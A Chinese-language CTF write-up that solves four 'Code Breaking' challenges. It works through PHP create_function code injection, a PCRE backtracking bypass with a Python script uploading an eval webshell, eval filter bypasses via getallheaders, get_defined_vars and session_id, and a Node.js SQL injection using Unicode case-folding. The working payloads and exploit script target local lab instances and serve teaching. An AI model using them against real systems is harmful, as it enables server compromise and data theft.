Code Breaking 部分学习

  ctf

0x00前言

一直想把p神的code-breaking来好好做一遍,现在补上

0x01 function

阅读一下源码

<?php
$action = $_GET['action'] ?? '';
$arg = $_GET['arg'] ?? '';

if(preg_match('/^[a-z0-9_]*$/isD', $action)) {
    show_source(__FILE__);
} else {
    $action('', $arg);
}

代码首先检测了actionarg的参数是否为空,然后进行正则检测

  • i :如果设置了这个修饰符,模式中的字母会进行大小写不敏感匹配。

  • s : 如果设置了这个修饰符,模式中的点号元字符匹配所有字符,包含换行符。如果没有这个 修饰符,点号不匹配换行符。这个修饰符等同于 perl 中的/s修饰符。 一个取反字符类比如 [^a] 总是匹配换行符,而不依赖于这个修饰符的设置。

  • D : 如果这个修饰符被设置,模式中的元字符美元符号仅仅匹配目标字符串的末尾。如果这个修饰符 没有设置,当字符串以一个换行符结尾时, 美元符号还会匹配该换行符(但不会匹配之前的任何换行符)。 如果设置了修饰符m,这个修饰符被忽略. 在 perl 中没有与此修饰符等同的修饰符。

正则匹配所有字母和数字加上下划线,并且匹配了特殊字符比如\n\t\r符号等,如果不符合匹配则执行将action作为函数名字,将arg作为执行的参数执行,因此我们只需要绕过正则的匹配。P神再小密圈里也说了

为什么函数前面可以加一个%5c?

php里默认命名空间是\,所有的原生函数和类都在这个命名空间中。普通调用一个函数,如果直接写函数名function_name()调用,调用的时候其实相当于写了一个路径;而如果写了\function_name()这样调用函数,则其实是写了一个绝对路径。如果你在其他namespace里面调用系统类,就必须写绝对路径这种写法。

因此我们可以写如下的系统命名,相对于文件名形式如foo.txt,它会被解析成为

currentdirectory/foo.txt

其中 currentdirectory 表示当前目录。因此如果当前目录是 /home/foo,则该文件名被解析为/home/foo/foo.txt。 相对路径名形式如subdirectory/foo.txt。它会被解析为 currentdirectory/subdirectory/foo.txt。 绝对路径名形式如/main/foo.txt。它会被解析为/main/foo.txt

因此我们可以使用\来绕过正则的匹配,绕过之后使用函数create_function来进行命令的构造,其结构为

create_function ( string $args , string $code ) : string

可以使用字符串来拼接,官网上的例子为

<?php
$newfunc = create_function('$a,$b', 'return "ln($a) + ln($b) = " . log($a * $b);');
echo "New anonymous function: $newfunc\n";
echo $newfunc(2, M_E) . "\n";
// outputs
// New anonymous function: lambda_1
// ln(2) + ln(2.718281828459) = 1.6931471805599
?>
  1. 如果可控在第一个参数,则需要闭合圆括号和大括号:create_function('){}phpinfo();//','');
  2. 如果可控在第二个参数,则需要闭合大括号: create_function('','}phpinfo();//');

因此源码,构造payload

  • http://127.0.0.1:8087/?action=\create_function&arg=christa;}var_dump(scandir('../'));/*
  • http://127.0.0.1/?action=\create_function&arg=christa;}var_dump(file_get_contents('../flag_h0w2execute_arb1trary_c0de'));/*

 

0x02 pcrewaf

源码如下

<?php
function is_php($data){
    return preg_match('/<\?.*[(`;?>].*/is', $data);
}

if(empty($_FILES)) {
    die(show_source(__FILE__));
}

$user_dir = 'data/' . md5($_SERVER['REMOTE_ADDR']);
$data = file_get_contents($_FILES['file']['tmp_name']);
if (is_php($data)) {
    echo "bad request";
} else {
    @mkdir($user_dir, 0755);
    $path = $user_dir . '/' . random_int(0, 10) . '.php';
    move_uploaded_file($_FILES['file']['tmp_name'], $path);

    header("Location: $path", true, 303);
}

这是一道文件上传的问题,其主要的函数就是is_php函数,其正则的规律为配对所有以<?开头的字符,查找到之后匹配后面所有的内容并且忽略大小写,匹配特殊符号,如\n、\r等。这道题的解法在p神发的一篇关于PHP利用PCRE回溯次数限制绕过某些安全限制的文章,文章中提到当回溯次数在超过100万的时候正则返回false表示此次执行失败了,同时判断的执行也是判断是否正确,因此就能够绕过某些正则的判断。编写exp

import requests
from io import BytesIO

url = 'http://127.0.0.1:8088/'
def exp():
	files = {
		'file':BytesIO(b'<?php eval($_POST["christa"]);//'+b'A'*1000001)
	}

	cc = requests.post(url, files=files, allow_redirects=False)
	path = cc.headers['Location']
	urls = url + path
	print(urls)

if __name__ == '__main__':
	exp() 

然后post扫描目录得到flag

 

0x03 phplimit

源码如下

<?php
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {    
    eval($_GET['code']);
} else {
    show_source(__FILE__);
}

题目非常简短,就是对执行的命令进行过滤,首先分析一下/[^\W]+\((?R)?\)

  • [^\W] :表示匹配数字、字母、下划线;

  • ((?R))?: 重复整个模式,重复匹配括号的内容

总的来说就是将匹配到的命令替换为空,最后匹配到只有一个;即为匹配成功,否则返回源码。当一个写入一个函数之后a()能够匹配成功,但a(b,c)则无法匹配成功,网上的绕过方法有很多。

getallheaders()

从发送的投中进行参数的解析,其使用方法为

?code=eval(end(getallheaders()));

header:christa:phpinfo();

get_defined_vars()

该函数返回由所有已定义变量所组成的数组,因此可以使用payload

http://127.0.0.1:8084/?code=eval(next(current(get_defined_vars())));&christa=print_r(scandir('../'));print_r(file_get_contents('../flag_phpbyp4ss'));

更有直接列目录的方法

http://127.0.0.1:8084/?code=readfile(next(array_reverse(scandir(dirname(chdir(dirname(getcwd())))))));

 

session_id()

该函数获取\设置当前会话id,能够将会话ID很方便地附加到URL之后,又因为PHPSEESID指允许字母和数字出现,因此可以使用payload为

http://127.0.0.1:8084/?code=eval(hex2bin(session_id(session_start())));

PHPSESSID=7072696e745f722866696c655f6765745f636f6e74656e747328272e2e2f666c61675f7068706279703473732729293b

http://127.0.0.1:8084/?code=eval(base64_decode(session_id(session_start())));

PHPSESSID=cHJpbnRfcihmaWxlX2dldF9jb250ZW50cygnLi4vZmxhZ19waHBieXA0c3MnKSk7

# print_r(file_get_contents('../flag_phpbyp4ss'));

 

 

0x04 nodechr

主要的代码为

function safeKeyword(keyword) {
    if(isString(keyword) && !keyword.match(/(union|select|;|\-\-)/is)) {
        return keyword
    }

    return undefined
}

async function login(ctx, next) {
    if(ctx.method == 'POST') {
        let username = safeKeyword(ctx.request.body['username'])
        let password = safeKeyword(ctx.request.body['password'])

        let jump = ctx.router.url('login')
        if (username && password) {
            let user = await ctx.db.get(`SELECT * FROM "users" WHERE "username" = '${username.toUpperCase()}' AND "password" = '${password.toUpperCase()}'`)

            if (user) {
                ctx.session.user = user

                jump = ctx.router.url('admin')
            }

        }

        ctx.status = 303
        ctx.redirect(jump)
    } else {
        await ctx.render('index')
    }
}


上面的的代码可以看出很明显的sql注入,但是safeKeyword又有着比较完善的过滤机制,过滤了union select;--符号。从p师傅的博客中有一篇关于javascript的大小写特性,其中两个奇特的字符"ı""ſ",我们可以用如下的两个命令进行测试"ſ".toUpperCase()"ı".toUpperCase()

可以看到这两个字符进行大写之后一个为S,一个为I,同时的小写也为k

>>"K".toLowerCase() == 'k'
true

因此可以构造payload

' unıon ſelect 1,(ſelect flag from  flags),3 where '1' = '1

 

 

 

 

Reference